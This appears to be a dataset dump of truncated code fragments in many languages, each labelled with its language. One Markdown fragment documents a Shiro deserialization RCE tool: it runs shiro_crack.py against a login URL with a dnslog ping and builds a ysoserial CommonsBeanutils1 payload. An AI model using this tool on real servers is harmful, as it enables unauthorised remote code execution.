content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
//===-- llvm/CodeGen/GlobalISel/CallLowering.h - Call lowering --*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===-------------------------------------------------------... | C |
/* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/VoiceServices.framework/VoiceServices
*/
@interface VSMobileAssetsManager : NSObject {
NSObject<OS_dispatch_queue> * _cacheConcurrentQueue;
NSMutableDictionary * _voiceResourceCache;
NSMutableDictionary * _voiceSelectionCache;
}
@... | C |
AsStream(file))
return parseDocument(document)
}
private fun parseDocument(document: Document): SVG {
val svg = document.rootElement
val svgStrokeWidth = svg.attributeValue("stroke-width", "1").toFloat()
val svgRoundLineCaps = svg.attributeValue("stroke-linecap") != null
... | Kotlin |
fix=='s_' then
if ngx.re.match(envValue,current_logic_value,'jio') then
wafLog('currentLogicJudge regex=true')
return true
end
end
return bRet
end
--判断是否匹配规则
function matchRuleLogic(logicList,currentLogicId,envData)
local bRet=false
local currentLogicData=nil
for logicKey,logicItem in ipairs(lo... | Lua |
To("[0]")
}
@Test fun `duplicated unloaded classes are ignored`() {
val expectedDuplicatedClassNames = setOf(
"leakcanary.internal.DebuggerControl",
"shark.AndroidResourceIdNames\$Companion",
"shark.GraphContext",
"shark.AndroidResourceIdNames\$Companion\$readFromHeap$1",
"leakcan... | Kotlin |
Coin *types.Coin
Account *types.AccountIdentifier
}
coinBank := map[string]*coinBankEntry{}
for i := int64(0); i <= 1000; i++ {
identifier := &types.BlockIdentifier{
Hash: getBlockHash(i),
Index: i,
}
parentIdentifier := &types.BlockIdentifier{
Hash: getBlockHash(i - 1),
Index: i - 1,
}
... | Go |
oogleTest(&argc, argv);
ros::init(argc, argv, "CombinedRobotHWTestNode");
int ret = RUN_ALL_TESTS();
ros::shutdown();
return ret;
}
///////////////////////////////////////////////////////////////////////////////
// Copyright (C) 2012, hiDOF INC.
//
// Redistribution and use in source and binary forms, with or... | C++ |
lpha(0.3f)
.make()
indicators.add(findViewById(R.id.guide_01))
indicators.add(findViewById(R.id.guide_02))
indicators[0].setImageDrawable(highLightIndicator)
indicators[1].setImageDrawable(normalIndicator)
}
/**
* 初始化seekbar
*/
@SuppressLint("CheckResult")
private fun setUpSeekBar... | Kotlin |
&& (text == 'here' || text == '@here')) {
return '@here';
}
if (everyone && (text == 'everyone' || text == '@everyone')) {
return '@everyone';
}
text = extractString(text, /<@&(\d*)>/) || text;
// by id
let role = guild.roles.cache.get(text);
if (!role && byName) {
... | Typescript |
804FD5BC 004F8AFC 48 00 02 88 */ b lbl_804FD844
lbl_804FD5C0:
/* 804FD5C0 004F8B00 38 67 00 0A */ addi r3, r7, 0xa
/* 804FD5C4 004F8B04 48 00 0B E5 */ bl func_804FE1A8
/* 804FD5C8 004F8B08 48 00 02 7C */ b lbl_804FD844
lbl_804FD5CC:
/* 804FD5CC 004F8B0C 3C 80 80 5F */ lis r4, lbl_805F1A00@ha
/* 804FD5D0 004F8B10 ... | Assembly |
state[5] =
(state.Gamepad.sThumbRY as i32 + 32768) as f32 / 65535.0 * 2.0 - 1.0;
}
fn update_info(&mut self, index: usize, capabilities: &XCapabilities) {
let mut name = String::from("XBOX360");
match capabilities.SubType {
xinput::XINPUT_DEVSUBTYPE_GAMEPAD => name.push_s... | Rust |
ectionEvent() MOZ_OVERRIDE
{
return this;
}
WidgetSelectionEvent(bool aIsTrusted, uint32_t aMessage, nsIWidget* aWidget)
: WidgetGUIEvent(aIsTrusted, aMessage, aWidget, NS_SELECTION_EVENT)
, mSeqno(kLatestSeqno)
, mOffset(0)
, mLength(0)
, mReversed(false)
, mExpandToClusterBoundary(t... | C |
/*
* Copyright 2013 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applica... | C |
85fcac598d4d13b4c8cfa790",
"aad":"ae114534f0969ee04101ab36",
"encrypted":"13dee3777e78dd019d10940d19000f1341154cf96ac2480816b057d90fd29b4a943cbfd5139ace859560417147e84bad1b7361ace4550618a7ffc99ba2089e61c248fbde0a91eee5cc722d57939ca1c571b31d634c7314865476acb7d3de3f4b45b8ba333281e74e22d4eb0b24c1baa90db5... | Kotlin |
/** \file
* Magic Lantern menu help
*/
/*
* Copyright (C) 2011 Alex Dumitrache <broscutamaker@gmail.com>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the Lice... | C |
local script = {...}
local m_ExplosionAudio = nil -- The audio source to play when the tank explodes.
local m_ExplosionParticles = nil -- The particle system the will play when the tank is destroyed.
local m_CurrentHealth = 0 -- How much health the tank currently has.
local m_Dead = false ... | Lua |
align 4
.L_2il0floatpacket.8:
.long 0x0d800000
.type .L_2il0floatpacket.8,@object
.size .L_2il0floatpacket.8,4
.align 4
.L_2il0floatpacket.9:
.long 0x71800000
.type .L_2il0floatpacket.9,@object
.size .L_2il0floatpacket.9,4
.align 4
.L_2il0floatpacket.10:
.long 0x3f800000
.type .L_2il0floatpacket.10,@object
.... | Assembly |
પીઠ પર સ્પર્શ કરતા ગરમ અનુભવાય (તમારે તાપમાન માપવાની જરુર નથી).",
"ur-PK" to "اس کا مطلب یہ ہے کہ آپ کو اپنے سینے یا پیٹھ کو چھونے پر گرم محسوس ہوتا ہے (آپ کو اپنے درجہ حرارت کی پیمائش کرنے کی ضرورت نہیں ہے)۔",
"pa-IN" to "ਇਸਦਾ ਮਤਲਬ ਹੁੰਦਾ ਹੈ ਕਿ ਆਪਣੀ ਛਾਤੀ ਜਾਂ ਪਿੱਠ ... | Kotlin |
@SerialName("smartContractCall")
SmartContractCall("smartContractCall"),
@SerialName("perpetualOpenPosition")
PerpetualOpenPosition("perpetualOpenPosition"),
@SerialName("perpetualClosePosition")
PerpetualClosePosition("perpetualClosePosition"),
}
/**
* Generated by typeshare 1.13.2
*/
package com.wallet.core.... | Kotlin |
/*
* Common Blackfin startup code
*
* Copyright 2004-2008 Analog Devices Inc.
*
* Licensed under the GPL-2 or later.
*/
#include <linux/linkage.h>
#include <linux/init.h>
#include <asm/blackfin.h>
#include <asm/thread_info.h>
#include <asm/trace.h>
#include <asm/asm-offsets.h>
__INIT
ENTRY(__init_clear_bss)
r... | Assembly |
void foo(String value);
}
abstract class B {
void bar(String value);
}
abstract class Mixin extends A with B {
void bar(String value) {
// CFE should report an error on the line below under the normal
// Dart 2 semantics, because super invocation targets abstract
// member.
super.bar(value);
... | Dart |
bbo,
'bbp' : iso639_3.bbp, 'bbq' : iso639_3.bbq, 'bbr' : iso639_3.bbr, 'bbs' : iso639_3.bbs,
'bbt' : iso639_3.bbt, 'bbu' : iso639_3.bbu, 'bbv' : iso639_3.bbv, 'bbw' : iso639_3.bbw,
'bbx' : iso639_3.bbx, 'bby' : iso639_3.bby, 'bca' : iso639_3.bca, 'bcb' : iso639_3.bcb,
'bcc' : iso639_3.bcc, 'bcd' : iso639_3.bcd,... | Dart |
(layoutInflater) }
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(binding.root)
// binding.ivBig.setImage(assets.open("big.png"))
// loadImage()
for (i in 0 until 100) {
beans.add("image$i")
}
... | Kotlin |
if isHead or isAccessory then
local hDesc = Instance.new("HumanoidDescription")
if isHead then
hDesc.Head = assetId
elseif isAccessory then
hDesc.HatAccessory = tostring(assetId)
end
local dummy = Players:CreateHumanoidModelFromDescription(hDesc, Enum.HumanoidRigType.R15)
local asset: Instance = I... | Lua |
EK, /* ReK baseline */
RESET_STATE_REK_FINISH, /* baseline is ready */
RESET_STATE_NORMAL_RUN, /* normal run */
RESET_STATE_MAX = 0xAF
} RST_COMPLETE_STATE;
typedef enum {
EVENT_MAP_HOST_CMD = 0x50,
EVENT_MAP_HANDSHAKING_or_SUB_CMD_BYTE = 0x51,
EVENT_MAP_RESET_COMPLETE ... | C |
4"; }
.fa-angellist {
--fa: "\f209"; }
.fa-galactic-republic {
--fa: "\f50c"; }
.fa-nfc-directional {
--fa: "\e530"; }
.fa-skype {
--fa: "\f17e"; }
.fa-joget {
--fa: "\f3b7"; }
.fa-fedora {
--fa: "\f798"; }
.fa-stripe-s {
--fa: "\f42a"; }
.fa-meta {
--fa: "\e49b"; }
.fa-laravel {
--fa: "\f3bd... | CSS |
_LAMBDA]](
// LAMBDA: call i{{[0-9]+}} @__tgt_target_teams_mapper(%struct.ident_t* @{{.+}},
// LAMBDA: call void [[OFFLOADING_FUN:@.+]](
// LAMBDA: define{{.+}} void [[OFFLOADING_FUN]](
// LAMBDA: call {{.*}}void {{.+}} @__kmpc_fork_teams({{.+}}, {{.+}}, {{.+}}* [[OMP_OUTLINED:@.+]] to {{.+}})
#pra... | C++ |
H:mm:ss.SSS', // <input type="time" step="0.001" />
WEEK: 'GGGG-[W]WW', // <input type="week" />
MONTH: 'YYYY-MM', // <input type="month" />
};
return hooks;
})));export default {
"playWithAFriend": "Žaisti su draugu",
"playWithTheMachine": "Žaisti su kompiuteriu",
"toInviteSomeoneToPlay... | JavaScript |
C54 00286B94 38 A0 00 00 */ li r5, 0
/* 80289C58 00286B98 90 01 00 14 */ stw r0, 0x14(r1)
/* 80289C5C 00286B9C 4B E7 B3 A9 */ bl startMotion__Q24Game9EnemyBaseFiPQ28SysShape14MotionListener
/* 80289C60 00286BA0 80 01 00 14 */ lwz r0, 0x14(r1)
/* 80289C64 00286BA4 7C 08 03 A6 */ mtlr r0
/* 80289C68 00286BA8 38 21 ... | Assembly |
eturn concat_str
# 4
def string_methods(value, metod, *args):
if metod == 'upper':
return value.upper()
elif metod == 'lower':
return value.lower()
elif metod == 'startswith':
return value.startswith(*args)
elif metod == 'endswith':
return value.endswith(*args)
else:... | Python |
removeView);
views.push(view);
for (i = 0; i < layers.length; i += 1) {
if (view.layer === layers[i]) {
layerInArray = true;
break;
}
}
if (!layerInArray && view.layer) {
layers.push(view.layer);
}
};
container.removeView = function (view) {
var i, layer, keepLayer;
view.removeE... | JavaScript |
import glob
from pathlib import Path
import re
import os
import datetime
def increment_path(path, exist_ok=True, sep=''):
# Increment path, i.e. runs/exp --> runs/exp{sep}0, runs/exp{sep}1 etc.
path = Path(path) # os-agnostic
if (path.exists() and exist_ok) or (not path.exists()):
return str(path)... | Python |
4,-48
pushq %r15
.cfi_offset %r15,-56
movq %rax,%rbp
.cfi_def_cfa_register %rbp
vzeroall
movq %rdx,%r13
subq $64,%rsp
.byte 0x67,0x67
movq %rsi,%r15
andq $4095,%r15
addq $320,%r15
shrq $12,%r15
movq %rsi,%r15
cmovnzq %r13,%rsi
cmovnzq %r15,%r13
movq %rcx,%r15
subq $-128,%rsi
subq $-128,%rcx
subq ... | Assembly |
if leftKnown {
spaceHere = spaceLeft
} else {
spaceHere = unicode.IsSpace(line[pos])
}
spaceLeft, leftKnown = unicode.IsSpace(line[pos-1]), true
if !spaceHere && spaceLeft {
break
}
}
} else {
s.doBeep()
}
case right:
if pos < len(line) ... | Go |
Inspector$actionLambda, config.onLetBlock, next, _p14, context);
case 'CaseExpression':
var _p15 = _p9._0;
var context2 = A3(_stil4m$elm_syntax$Elm_Inspector$inspectExpression, config, _p15.expression, context);
var context3 = A3(
_elm_lang$core$List$foldl,
F2(
function (a, b) {
re... | JavaScript |
ped = win32file.OVERLAPPED()
overlapped.hEvent = win32event.CreateEvent(None, 1, 0, None)
err, n = win32file.WriteFile(self.hComPort, s, overlapped)
if err: #will be ERROR_IO_PENDING:
# Wait for the write to complete.
win32event.WaitForSingleObject(overlapped.hEvent, win3... | Python |
# Common training-related configs that are designed for "tools/train_net.py"
# You can use your own instead, together with your own train_net.py
train = dict(
# Directory where output files are written to
output_dir="./output",
# The initialize checkpoint to be loaded
init_checkpoint="",
# The total... | Python |
T(BGRA_to_HLS4, 4, 4, 0)
#undef CV_CUDEV_RGB2HLS_INST
// HLS to RGB
#define CV_CUDEV_HLS2RGB_INST(name, scn, dcn, bidx) \
template <typename SrcDepth> struct name ## _func : cv::cudev::color_cvt_detail::HLS2RGB<SrcDepth, scn, dcn, bidx, 180> \
{ \
}; \
template <typename SrcDepth> struct name ## _FUL... | C++ |
值一样,记得我们是前缀和求区间Hash
cout<<"Yes"<<endl;
else
cout<<"No"<<endl;
}
}
| 标题 | 问题 |
| --- | --- |
| 生物学 | 可以列举一些人体器官的功能吗? |
| 历史文化 | 你能给我介绍一些中国古代的传统节日吗? |
| 瑜伽 | 如何正确地执行瑜伽中的“犬式”? |
| 烹饪 | 请问如何做一道口感酥脆、美味可口的炸鸡? |
| 医学 | 高血压患者应该注意哪些方面的饮食习惯? |
| 心理学 | 如何缓解因工作压力导致的情绪低落? |
| 旅游 | 你有没有推荐的适合家庭出游的国... | Markdown |
80106d678b.html#a7cdec981c9906e4200a209da45213e6e',1,'cutlass::gemm::threadblock::DefaultMmaCore< Shape_, WarpShape_, GemmShape< 8, 8, 4 >, ElementA_, layout::ColumnMajor, ElementB_, layout::ColumnMajor, ElementC_, LayoutC_, arch::OpClassTensorOp, 2, Operator_ >::ElementB()'],['../structcutlass_1_1gemm_1_1t... | JavaScript |
.mentionSelfTextBackgroundColor,
borderRadius: borderRadius ?? this.borderRadius,
);
}
CometChatMentionsStyle merge(CometChatMentionsStyle? style) {
if (style == null) return this;
return copyWith(
mentionTextStyle: style.mentionTextStyle,
mentionTextColor: style.mentionTextColor,
... | Dart |
tive to the top-left
/// corner of the decorations
pub(crate) fn subsurface_offset() -> (i32, i32) {
(DECORATION_SIZE, DECORATION_TOP_SIZE)
}
/// Subtracts the border dimensions from the given dimensions.
pub fn subtract_borders(width: i32, height: i32) -> (i32, i32) {
(
width - 2 * (DECORATION_SIZE as... | Rust |
c14.7,8.5,31.8,13.4,50,13.4h100h50h450c18.2,0,35.3-4.9,50-13.4c29.9-17.3,50-49.6,50-86.6V232 C800,195,779.9,162.7,750,145.4z M200,650H100c-27.6,0-50-22.4-50-50V232c0-27.6,22.4-50,50-50h100V650z M750,600 c0,27.6-22.4,50-50,50H250V182h450c27.6,0,50,22.4,50,50V600z'/%3E%3C/svg%3E%0A") !important;
scale: 0.93;
}
#history-p... | CSS |
tack=16(%rsp)
movq %r13,16(%rsp)
# qhasm: caller4_stack = caller4
# asm 1: movq <caller4=int64#12,>caller4_stack=stack64#4
# asm 2: movq <caller4=%r14,>caller4_stack=24(%rsp)
movq %r14,24(%rsp)
# qhasm: caller5_stack = caller5
# asm 1: movq <caller5=int64#13,>caller5_stack=stack64#5
# asm 2: movq <caller5=%r15,>calle... | Assembly |
x1, #SCTLR_C_BIT
beq skip_spinlock /* can't synchronize when cache disabled */
adrp x0, crash_console_spinlock
add x0, x0, :lo12:crash_console_spinlock
bl spin_lock
skip_spinlock:
adrp x1, crash_console_triggered
add x1, x1, :lo12:crash_console_triggered
ldarb w2, [x1]
cmp w2, #0
bne init_error
mov x3, #1 ... | Assembly |
rd_data;
}
static inline uint32_t mcu_mbox_read_lock(uint32_t mbox_num) {
uint32_t rd_data = lsu_read_32(SOC_MCI_TOP_MCU_MBOX0_CSR_MBOX_LOCK + MCU_MBOX_NUM_STRIDE * mbox_num);
VPRINTF(LOW, "MCU: Mbox%x Reading LOCK: 0x%x\n", mbox_num, rd_data);
return rd_data;
}
static inline uint32_t mcu_mbox_read_hw_sta... | C |
},
{
'_id': '78065',
'city': 'POTEET',
'loc': [-98.624071, 29.099405],
'pop': 9523,
'state': 'TX'
},
{
'_id': '78066',
'city': 'RIOMEDINA',
'loc': [-98.866865, 29.490395],
'pop': 687,
'state': 'TX'
},
{
'_id': '78067',
'city': 'SAN YGNACIO',
'loc': [-99.4271... | Dart |
anchorElement.download = uri.toString();
anchorElement.click();
return Future.value();
}
///删除文件
Future delete(FileModel parent, List<FileModel> filesToDelete) async {
Uri uri = Uri.http(getHost(), '$PATH/delete');
var response = await httpPost(uri, body: {
'pathList': filesToDelete.ma... | Dart |
('123456789')
def _printResults(fn=_callCalcString123456789):
import sys
d = sys.modules[__name__].__dict__
algorithms = sorted(
(v for (k, v) in d.iteritems() if isinstance(v, CrcAlgorithm)),
key=lambda v: (v.width, v.name))
for a in algorithms:
format = ("%%0%dX" % ((a.width +... | Python |
Channel = AllocChannel();
*destChannel = *ch;
destChannel->RemoveAllEvents();
newChannel = true;
ccount++;
}
if ( newChannel )
{
destActor->AddChannel( destChannel );
destChannel->SetActor( destActor );
}
// Now we have a destination channel, work on events themselves
for ( i... | C++ |
(value) {
var item;
if ((typeof value === "undefined" ? "undefined" : _typeof(value)) === "object") {
if (value.options) {
item = {
label: value.label,
group: true,
itemParams: value.itemParams,
elementAttributes: value.elementAttributes,
element: false
... | JavaScript |
node.type === "ExportNamedDeclaration",
)
) {
throw new Error(`Unexpected '${type}' in MDX.`);
}
}
export default embed;
import collapseWhiteSpace from "collapse-white-space";
import {
cleanFrontMatter,
isFrontMatter,
} from "../utils/front-matter/index.js";
import { hasPragma } from "./pragma... | JavaScript |
二两白银五文铜钱"
```
### price_str
```lpc
string price_str(int amount)
```
将数值金额转换为带"又"字连接的中文价格描述。
**特点:**
- 使用"又"字连接不同货币单位
- 金额小于1时自动设为1
- 格式更适合价格显示
**示例:**
```lpc
price_str(30205) // 返回 "三两黄金又二两白银又五文铜板"
```
### pay_player
```lpc
void pay_player(object who, int amount)
```
向玩家支付指定金额的货币,自动按最优方式分配货币类型。
**支付规则:**
- 金额≥100... | Markdown |
if tagParts[0] == "-" {
continue
}
if fieldType.Anonymous {
fieldKind := fieldType.Type.Kind()
if fieldKind != reflect.Struct {
return &parser.PosError{
Pos: node.Pos(),
Err: fmt.Errorf("%s: unsupported type to struct: %s",
fieldType.Name, fieldKind),
}
}
// We ... | Go |
ояс густой чащи",
[45831] = "Кушак могущественных заклинаний",
[45832] = "Мантия оберегателя",
[45833] = "Мнущие сталь рукавицы",
[45834] = "Рукавицы августейшего внимания",
[45835] = "Рукавицы безмятежного благословения",
[45836] = "Перчатки верной цели",
[45837] = "Перчатки гадания",
[45838] = "Перчатки слепого следо... | Lua |
Calendar.showMonthsCombo = function () {
var cal = Calendar._C;
if (!cal) {
return false;
}
var cal = cal;
var cd = cal.activeDiv;
var mc = cal.monthsCombo;
if (cal.hilitedMonth) {
Calendar.removeClass(cal.hilitedMonth, "hilite");
}
if (cal.activeMonth) {
Calendar.removeClass(cal.activeMonth, "active");... | JavaScript |
# https://leetcode.com/problems/count-subarrays-with-median-k/
# https://youtu.be/QZzDioqkRhU
class Solution:
def countSubarrays(self, nums: List[int], k: int) -> int:
pos = nums.index(k)
cnt = defaultdict(int)
cnt[0] = 1
c = 0
for i in range(pos + 1, len(nums)):
... | Python |
/*
* Copyright (C) Igor Sysoev
* Copyright (C) Nginx, Inc.
*/
#ifndef _NGX_EVENT_POSTED_H_INCLUDED_
#define _NGX_EVENT_POSTED_H_INCLUDED_
#include <ngx_config.h>
#include <ngx_core.h>
#include <ngx_event.h>
#define ngx_post_event(ev, q) \
... | C |
using Microsoft.UI.Xaml.Media;
using Microsoft.UI.Xaml;
using Microsoft.UI;
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using Windows.Storage;
using WinRT.Interop;
using Microsoft.UI.Windowing;
namespace MarvelRivalManager.UI.Helper
{
/// <summary>
/// Helper class to a... | C# |
ать кнопку сумки Blizzard",
["zhCN"] = "显示暴雪背包按钮",
["zhTW"] = "顯示暴雪背包按鈕",
}
L.data["Show Currencies"] = {
["deDE"] = "Währungen anzeigen",
["esES"] = "Mostrar Monedas",
["esMX"] = "Mostrar Monedas",
["frFR"] = "Afficher les monnaies",
["itIT"] = "Mostra Valute",
["koKR"] = "화폐 표시하기",
["ptBR"] = "Mostr... | Lua |
" input."),
done);
if (num_indices == 0) {
TensorShape output_shape = input.shape();
output_shape.set_dim(0, 0);
Tensor* output = nullptr;
OP_REQUIRES_OK_ASYNC(
context, context->allocate_output(0, output_shape, &output), done);
done();
return;
... | C++ |
anshuvlog/SnakeGame
* EKS Multi Node Cluster - K8s MERN App Deployment - https://github.com/sudhanshuvlog/K8s-MERN-App-Deployment/tree/main
* Movie Streaming App (Jenkins-EKS-RDS-S3) - https://github.com/sudhanshuvlog/Movie-Streaming-App-DevOps
* K8s Multi Node Cluster Configuration With Ansible - https://github.com/su... | Markdown |
l: %U", format_gbp_vxlan_tunnel,
gt - gbp_vxlan_tunnel_pool);
gbp_endpoint_flush (GBP_ENDPOINT_SRC_DP, gt->gt_sw_if_index);
ASSERT (0 == vec_len (gt->gt_tuns));
vec_free (gt->gt_tuns);
gbp_itf_unlock (>->gt_itf);
if (GBP_VXLAN_TUN_L2 == gt->gt_layer)
{
gbp_bridge_domain_unlock... | C |
trols.ActionCenter
{
internal partial class QuitButton : UserControl
{
internal event QuitButtonClickedEventHandler Clicked;
public QuitButton()
{
InitializeComponent();
InitializeControl();
}
private void InitializeControl()
{
var uri = new Uri("pack://application:,,,/SafeExamBrowser.UserInter... | C# |
setUsePercentValues(true)
description.apply {
isEnabled = true
text = "显示描述"
textColor = Color.RED
textSize = 26f
//setPosition(0f,0f)//指定位置
}
// 设置 pading
setExtraOffsets(0f, 10f, 0f, 0f)
... | Kotlin |
\]$', 'gi'),
match = null
;
for (var i = 0; i < list.length; i++)
if ((match = regex.exec(list[i])) != null)
return match.value;
return null;
};
function defaultValue(value, def)
{
return value != null ? value : def;
};
function asString(value)
{
return value != n... | JavaScript |
itions tried
}
}
@Test
fun backtracking() = runTestCC {
with(NQueens()) {
val results = selectFirst {
nqueens(9)
}
results shouldBe Some(
listOf(
Pos(9, 5), Pos(8, 7), Pos(7, 9), Pos(6, 4), Pos(5, 2), Pos(4, 8), Pos(3, 6), Pos(2, 3), Pos(1, 1)
)
)... | Kotlin |
setStyles({
height:height * self.colspan +'px',
display:'block'
});
self.animcon.setStyles({
height:height * self.colspan +'px',
overflow:'hidden'
});
if(self.animWrapperAutoHeightSetting){
self.animcon.setStyles({
width:width +'px'
//强制pannel的内容不超过动画容器的范围
});... | JavaScript |
h:\'L\',w:-v}},{i:\'1d f M L\',d:1,g:1,f:{e:0,j:\'n\'},c:{o:\'V\',b:\'y\',a:U,h:\'K\',w:v}},{i:\'1d P M t\',d:[3,4],g:[3,4],f:{e:19,j:\'n\'},c:{o:\'13\',b:\'y\',a:U,h:\'t\',x:v}},{i:\'1d P M G\',d:[3,4],g:[3,4],f:{e:19,j:\'D\'},c:{o:\'13\',b:\'y\',a:U,h:\'t\',x:-v}},{i:\'1d P M K\',d:[3,4],g:[3,4],f:{e:19,j:\'n\'},c:{o... | JavaScript |
;
generator.GetContent(annotationDescriptor).Should().Be(expected);
}
[Fact]
public void ReturnsParameterlessPhoneAttribute_GivenEmptyPhoneDescriptor()
{
var descriptor = new PhoneAttributeDescriptor();
var annotationDescriptor = new AnnotationDescr... | C# |
d::time::Duration;
use subprocess::{Exec, Popen};
const POST_DTRACE_WAIT: Duration = Duration::from_secs(2);
const SUBPROC_WAIT: Duration = Duration::from_secs(5);
fn root_command() -> OsString {
if cfg!(target_os = "illumos") {
"pfexec".parse().unwrap()
} else {
... | Rust |
Red BIG",
[180709] = "Firework, Show, Type 3, Red BIG",
[180710] = "Firework, Show, Type 4, Red BIG",
[180712] = "돌비늘뱀장어 떼",
[180713] = "엘룬의 빛",
[180714] = "CrateAllianceFirstAid01",
[180715] = "호랑가시나무 보존기",
[180717] = "스카라베 징",
[180718] = "스카라베 징",
[180719] = "멧젠의 우리",
[180720] = "Firework, Show, Type 1 Blue",
[1807... | Lua |
t is possible to provide a JavaScript workaround for it (by
* adding/removing a helper class with JavaScript if the Details is
* toggled), that hack will make RTL details worse than without the hack.
*
* This weird query was found in
* https://stackoverflow.com/questions/16348489#25975282 (based on the
* answer i... | CSS |
rivation: &Path) -> Result<(), anyhow::Error> {
let mut cmd = self.session.command("sudo");
let flake_base_name = derivation
.file_name()
.ok_or_else(|| anyhow::anyhow!("Built path has a weird format: {:?}", derivation))?
.to_str()
.expect("Nix path must b... | Rust |
Node(node.getUserObject());
// // DefaultMutableTreeNode clone = (DefaultMutableTreeNode) node.clone();
// tgt.add(clone);
// if (!node.isLeaf()) {
// deepCopyTree(node, clone);
// }
// }
return tgt;
}
public static DefaultMutableTreeNode makeTreeRoot() {
DefaultMutableT... | Java |
## 二、Headless服务启动全流程
### 第一步:获取API密钥
1. 打开AdsPower客户端
2. 进入「账号管理 > 设置 > 基础API接口」
3. 点击「生成api-key」并复制密钥
### 第二步:命令行启动服务
**准备工作**:
- 定位到AdsPower安装目录(Windows默认路径:`C:\Program Files (x86)\AdsPower`)
- 打开CMD/Terminal
**启动命令**:
bash
# Windows系统
AdsPower.exe --headless=true --api-key=XXXX --api-port=50325
# MacOS系统
/Appli... | Markdown |
PhongMaterial({
color: this.colors.brown,
shading: THREE.FlatShading
});
this.prop = new THREE.Mesh(geomProp, matProp);
this.prop.castShadow = true;
this.prop.receiveShadow = true;
//blades
let geomBlade = new THREE.BoxGeometry(1,100,20,1,1,1);
let matBlade = new THREE.MeshPhong... | Typescript |
cobra.Command {
var labelFilters []string
var startTimestampSecs int64
var endTimestampSecs int64
var follow bool
cmd := &cobra.Command{
Use: "start <cluster> <target>",
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
switch len(args) {
... | Go |
HandlerMap.containsKey(path)) {
throw SzException("Duplicate websocket route path: $path")
}
val handlerClass = try {
Application.classLoader.loadClass(handlerClassName)
} catch (ex: Exception) {
throw SzException("Can not load websocket handler class by name:... | Kotlin |
,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:linear-gradient(to bottom,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradie... | CSS |
Not designated from the correct ECU
**/
private fun checkFrame(f: CanFrame) {
if (f.canID != CanCAddrs.MS_APPL6.addr) {
throw IllegalArgumentException("CAN ID does not match object!")
}
}
override fun toString() = """
|Frame MS_APPL6 (0x0610):
| application: ${get_appl6()}... | Kotlin |
},
{
&Hostinfo{},
&Hostinfo{},
true,
},
{
&Hostinfo{IPNVersion: "1"},
&Hostinfo{IPNVersion: "2"},
false,
},
{
&Hostinfo{IPNVersion: "2"},
&Hostinfo{IPNVersion: "2"},
true,
},
{
&Hostinfo{FrontendLogID: "1"},
&Hostinfo{FrontendLogID: "2"},
false,
},
{
&Hostin... | Go |
{ return (HRESULT)0x80040213; } } }
public static HRESULT VFW_E_NOT_IN_GRAPH { get { unchecked { return (HRESULT)0x8004025F; } } }
public static HRESULT VFW_E_START_TIME_AFTER_END { get { unchecked { return (HRESULT)0x80040228; } } }
public static HRESULT VFW_S_STATE_INTERMEDIATE { get { uncheck... | C# |
==========================================
Copyright (c) 2001-2011 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================... | C++ |
, \
.driver_data = (kernel_ulong_t)data, \
}
static const struct ieee1394_device_id motu_id_table[] = {
SND_MOTU_DEV_ENTRY(0x000003, &snd_motu_spec_828mk2),
SND_MOTU_DEV_ENTRY(0x000009, &snd_motu_spec_traveler),
SND_MOTU_DEV_ENTRY(0x00000d, &snd_motu_spec_ultralite),
SND_MOTU_DEV_ENTRY(0x00000f, &snd_motu_spec... | C |
3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
```
dnslog查看到`ping rcetest.x9zm4v.dnslog.cn` 为了区分,建议用更低一级的域名
#### shiro_rce 配置
1、配置模块
需要将第13行
``` popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)```其中的CommonsBeanut... | Markdown |
unt(): void;
componentWillUnmount(): void;
render(): JSX.Element;
}
import { Model, Column, Table, PrimaryKey, CreatedAt, UpdatedAt, AutoIncrement, Default, AllowNull, Unique } from 'sequelize-typescript'
@Table
export default class User extends Model<User> {
@PrimaryKey
@AutoIncrement
@Column
id!: nu... | Typescript |
44-4.121 6.148 6.886h1.082v-.855l-7.207-8.07-4.84 5.187L6.169 6.57l-5.48 5.965v.871ZM.688 16.844h20.625v1.375H.688Zm0 0'/%3E%3C/svg%3E")}.maplibregl-ctrl button.maplibregl-ctrl-geolocate .maplibregl-ctrl-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='29' hei... | CSS |
/* Copyright 2018 The OpenXLA Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... | C |
);
let body = client.torrent_add(add_args).await;
assert!(body.is_err());
}
#[tokio::test]
async fn test_torrent_add_without_file_and_meta() {
let uri = dotenv::var("TRPC_TARGET").expect("not set TRPC_TARGET");
let mut client = Client::new(&uri);
let mut add_args = TorrentAddArgs::from_meta("tests... | Rust |
*/
btn = findbutton(dia, event->xbutton.x, event->xbutton.y);
if (btn)
{
/* redraw it as being slightly pushed in */
dia->click = btn;
btn->state = btn->state < 0 ? -1 : 1;
drawbutton(dia, btn);
}
/* clicked on the icon? */
if (event->xbutton.x < (int)(x_elvis_icon_width + 2)
&& event->xbut... | C |
{
EXPECT_EQ(0ULL, db_->metadata().object_stores.size());
const int64 store_id = 1001;
db_->CreateObjectStore(transaction_->id(),
store_id,
